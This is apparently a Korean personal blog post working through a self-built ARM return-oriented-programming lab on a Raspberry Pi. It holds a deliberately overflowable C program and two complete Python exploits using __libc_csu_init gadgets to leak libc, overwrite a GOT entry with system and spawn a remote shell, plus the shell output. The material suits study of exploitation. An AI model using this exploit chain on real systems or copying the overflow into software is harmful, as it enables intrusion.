Self-Improvement
ARM - ROP 예제 (ASLR, return to csu, socat, python-struct만 쓰기) 본문
소스코드
// gcc -fno-stack-protector -o bof bof.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(void)
{
char buf[100];
read(0, buf, 1024);
write(1, buf, 0x100);
return 0;
}
보호기법
ASLR on
gef> checksec
[+] checksec for '/home/pi/bof'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : No
ASLR이 존재함으로 ROP를 할때는 offset을 이용해야 하는 것과 바이너리파일에 system 함수가 없어도 라이브러리에서 offset을 통해 system 함수를 call 하여 실행시킬 것이다.
바이너리 파일 포워딩?
다른 터미널에서 socat 명령어로 3312 포트에 바이너리파일을 대기해 놓았다.
socat tcp-listen:3312,reuseaddr,fork EXEC:./bof
가젯
바이너리에 있는 __libc_csu_init 함수의 가젯을 사용하는데 기존 ELF에서도 사용되던 가젯이다.
gef> x/30i 0x10490
0x10490 <__libc_csu_init>: push {r3, r4, r5, r6, r7, r8, r9, lr}
0x10494 <__libc_csu_init+4>: mov r7, r0
0x10498 <__libc_csu_init+8>: ldr r6, [pc, #76] ; 0x104ec <__libc_csu_init+92>
0x1049c <__libc_csu_init+12>: ldr r5, [pc, #76] ; 0x104f0 <__libc_csu_init+96>
0x104a0 <__libc_csu_init+16>: add r6, pc, r6
0x104a4 <__libc_csu_init+20>: add r5, pc, r5
0x104a8 <__libc_csu_init+24>: rsb r6, r5, r6
0x104ac <__libc_csu_init+28>: mov r8, r1
0x104b0 <__libc_csu_init+32>: mov r9, r2
0x104b4 <__libc_csu_init+36>: bl 0x102c8 <_init>
0x104b8 <__libc_csu_init+40>: asrs r6, r6, #2
0x104bc <__libc_csu_init+44>: popeq {r3, r4, r5, r6, r7, r8, r9, pc}
0x104c0 <__libc_csu_init+48>: sub r5, r5, #4
0x104c4 <__libc_csu_init+52>: mov r4, #0
0x104c8 <__libc_csu_init+56>: add r4, r4, #1
0x104cc <__libc_csu_init+60>: ldr r3, [r5, #4]!
0x104d0 <__libc_csu_init+64>: mov r0, r7
0x104d4 <__libc_csu_init+68>: mov r1, r8
0x104d8 <__libc_csu_init+72>: mov r2, r9
0x104dc <__libc_csu_init+76>: blx r3
0x104e0 <__libc_csu_init+80>: cmp r4, r6
0x104e4 <__libc_csu_init+84>: bne 0x104c8 <__libc_csu_init+56>
0x104e8 <__libc_csu_init+88>: pop {r3, r4, r5, r6, r7, r8, r9, pc}
gadget1
그 중에서도 아래쪽의 gadget1은 pop {r3, r4, r5, r6, r7, r8, r9, pc}이다.
0x104e8 <__libc_csu_init+88>: pop {r3, r4, r5, r6, r7, r8, r9, pc}
gadget2
gadget2는 blx r3로 시작하며 gadget1에서 pop 했던 r7, r8, r9로 인자를 셋팅해주며 r3의 함수로 실행하게 되는 것이다. 그리고 r4와 r6을 equal로 셋팅해주면 bne를 수행하지 않아 ROP가 가능하다.
여담이지만 ldr r3, [r5, #4]!를 gadget2으로 사용할시엔 got만 필요하다, plt는 필요없다.
셋팅할 때 r5에는 got-4 주소를 주고 gadget2가 시작되면 got는 포인터로써 실제 함수의 주소를 담고 있음으로 결론적으로는 위 가젯으로도 가능하다.
mungsul.tistory.com/entry/arm-exploitation-using-ROP?category=453471
0x104c8 <__libc_csu_init+56>: add r4, r4, #1
0x104cc <__libc_csu_init+60>: ldr r3, [r5, #4]!
0x104d0 <__libc_csu_init+64>: mov r0, r7
0x104d4 <__libc_csu_init+68>: mov r1, r8
0x104d8 <__libc_csu_init+72>: mov r2, r9
0x104dc <__libc_csu_init+76>: blx r3
0x104e0 <__libc_csu_init+80>: cmp r4, r6
0x104e4 <__libc_csu_init+84>: bne 0x104c8 <__libc_csu_init+56>
필요한 주소 재료들
system_offset
read 주소를 leak하고 system 주소를 얻기 위해서 라이브러에서의 read-system의 offset 값을 구하는 것이다.
간혹 ldd할때의 라이브러리와 실행 시 올라가는 라이브러리가 다른경우가 있으니 gdb로 vmmap으로 확실히 확인하자
0x88844
gef> vmmap
Start End Offset Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/bof
0x00020000 0x00021000 0x00000000 rw- /home/pi/bof
0xb6e74000 0xb6f9f000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6f9f000 0xb6faf000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6faf000 0xb6fb1000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so
0xb6fb1000 0xb6fb2000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so
[...]
gdb -q /lib/arm-linux-gnueabihf/libc-2.19.so
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 7.7.1 using Python engine 2.7
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from /lib/arm-linux-gnueabihf/libc-2.19.so...Reading symbols from /usr/lib/debug//lib/arm-linux-gnueabihf/libc-2.19.so...done.
done.
gef> p read-system
$1 = 0x88844
bss
objdump라는 명령어를 이용해서 얻어주도록 하자, bss영역은 ASLR과 상관없이 주소가 고정이다 probably?
0x20630
objdump -h bof | grep bss
23 .bss 00000004 00020630 00020630 00000630 2**0
write, read의 plt
바이너리 파일이나 IDA로 구해주자
0x1030c, 0x102e8
gef> disassemble main
Dump of assembler code for function main:
=> 0x0001044c <+0>: push {r11, lr}
0x00010450 <+4>: add r11, sp, #4
0x00010454 <+8>: sub sp, sp, #104 ; 0x68
0x00010458 <+12>: sub r3, r11, #104 ; 0x68
0x0001045c <+16>: mov r0, #0
0x00010460 <+20>: mov r1, r3
0x00010464 <+24>: mov r2, #1024 ; 0x400
0x00010468 <+28>: bl 0x102e8 # read
0x0001046c <+32>: sub r3, r11, #104 ; 0x68
0x00010470 <+36>: mov r0, #1
0x00010474 <+40>: mov r1, r3
0x00010478 <+44>: mov r2, #100 ; 0x64
0x0001047c <+48>: bl 0x1030c # write
0x00010480 <+52>: mov r3, #0
0x00010484 <+56>: mov r0, r3
0x00010488 <+60>: sub sp, r11, #4
0x0001048c <+64>: pop {r11, pc}
End of assembler dump.
python 코드 아래에 간결하게 재 업로드
read_off는 libc base 주소를 찍어보기 위해서 하였으며 없어도된다.
import struct
import socket
p32 = lambda x : struct.pack("<I", x)
system_offset=0x88844
bss=0x20630
binsh="/bin/sh\x00"
read_off=0xc27f0
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",3312))
#stage 1 = read 주소 leak
payload="A"*104
payload+=p32(0x104e8) # gadget1
payload+=p32(0x1030c) # write_plt
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x1) # write-fd
payload+=p32(0x20610) # read_got
payload+=p32(0x4) # write-len
payload+=p32(0x104d0) # gadget2
#stage 2 = read 함수로 bss영역에 "/bin/sh"
payload+=p32(0x102e8) # read_plt
payload+=p32(0X0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0) # read-fd
payload+=p32(0x20630) # bss
payload+=p32(0x8) # read-len
payload+=p32(0x104d0) # gadget2
#stage 3 = write got를 system 주소로 overwrite
payload+=p32(0x102e8) # read_plt
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0) # read-fd
payload+=p32(0x2061c) # write_got
payload+=p32(0x4) # read-len
payload+=p32(0x104d0) # gadget2
#stage 4 = write 호출, 인자는 "/bin/sh"
payload+=p32(0x1030c) # write_plt
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x20630) # bss
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x104d0) # gadget2
s.send(payload)
s.recv(1024)
read=struct.unpack('<L',s.recv(4))[0] # tuple
print "=============================="
print("read addr : 0x%x" %read)
print("libc addr : 0x%x" %(read-read_off))
system=read-system_offset
print("system add : 0x%x" %system)
print "=============================="
s.send(binsh)
s.send(p32(system))
while 1:
input_string=raw_input('remote_shell$ ')
s.send(input_string+"\n")
if input_string == 'exit':
s.close()
break
print s.recv(1024)
$ python b.py
==============================
read addr : 0xb6e627f0
libc addr : 0xb6da0000
system add : 0xb6dd9fac
==============================
remote_shell$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
(2021-01-28) Python 코드 수정
참고
gbyolo.gitlab.io/posts/2020/07/ret2csu-arm-32bit/
import struct
import socket
p32 = lambda x : struct.pack("<I", x)
system_offset=0x88844
bss=0x20630
binsh="/bin/sh\x00"
read_off=0xc27f0
gadget1=0x104e8
gadget2=0x104d0
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",3312))
def ret2csu(call, r0, r1, r2, chain=False):
payload=''
if not chain:
payload+=p32(gadget1)
payload+=p32(call)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(0x0)
payload+=p32(r0)
payload+=p32(r1)
payload+=p32(r2)
payload+=p32(gadget2)
return payload
payload="A"*104
payload+=ret2csu(0x1030c, 0x1, 0x20610, 0x4) # write(1, read_got, 4)
payload+=ret2csu(0x102e8, 0x0, 0x20630, 0x8, chain=True) # read(0, bss, 8)
payload+=ret2csu(0x102e8, 0x0, 0x2061c, 0x4, chain=True) # read(0, write_got, 4)
payload+=ret2csu(0x1030c, 0x20630, 0x0, 0x0, chain=True) # write(bss)
s.send(payload)
s.recv(1024)
read=struct.unpack('<L',s.recv(4))[0] # tuple
print "=============================="
print("read addr : 0x%x" %read)
print("libc addr : 0x%x" %(read-read_off))
system=read-system_offset
print("system add : 0x%x" %system)
print "=============================="
s.send(binsh)
s.send(p32(system))
while 1:
input_string=raw_input('remote_shell$ ')
s.send(input_string+"\n")
if input_string == 'exit':
s.close()
break
print s.recv(1024)
$ python b.py
==============================
read addr : 0xb6e627f0
libc addr : 0xb6da0000
system add : 0xb6dd9fac
==============================
remote_shell$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
마지막 할말
성공은 하였지만.. 페이로드가 너무길다! 줄일 수 있는 방안을 구해보자
'ARM' 카테고리의 다른 글
ARM 기반 IoT에서 ROP 가젯 구하기 (mips 포함) (0) | 2021.02.08 |
---|---|
ELF 파일 포맷 (hex로 arm, mips, 리틀/빅 인디안 구별) (0) | 2021.01.28 |
arm - 입력값(read, scanf)으로 RTL 할 시 /bin/sh은 안되고 나머지는 되는이유?? (0) | 2021.01.26 |
ARM - plt, got 확인 (got func()) (0) | 2021.01.25 |
ARM - RTL system("/bin/sh") 예제 (ASLR off, seed48, memmove, struct) (0) | 2021.01.22 |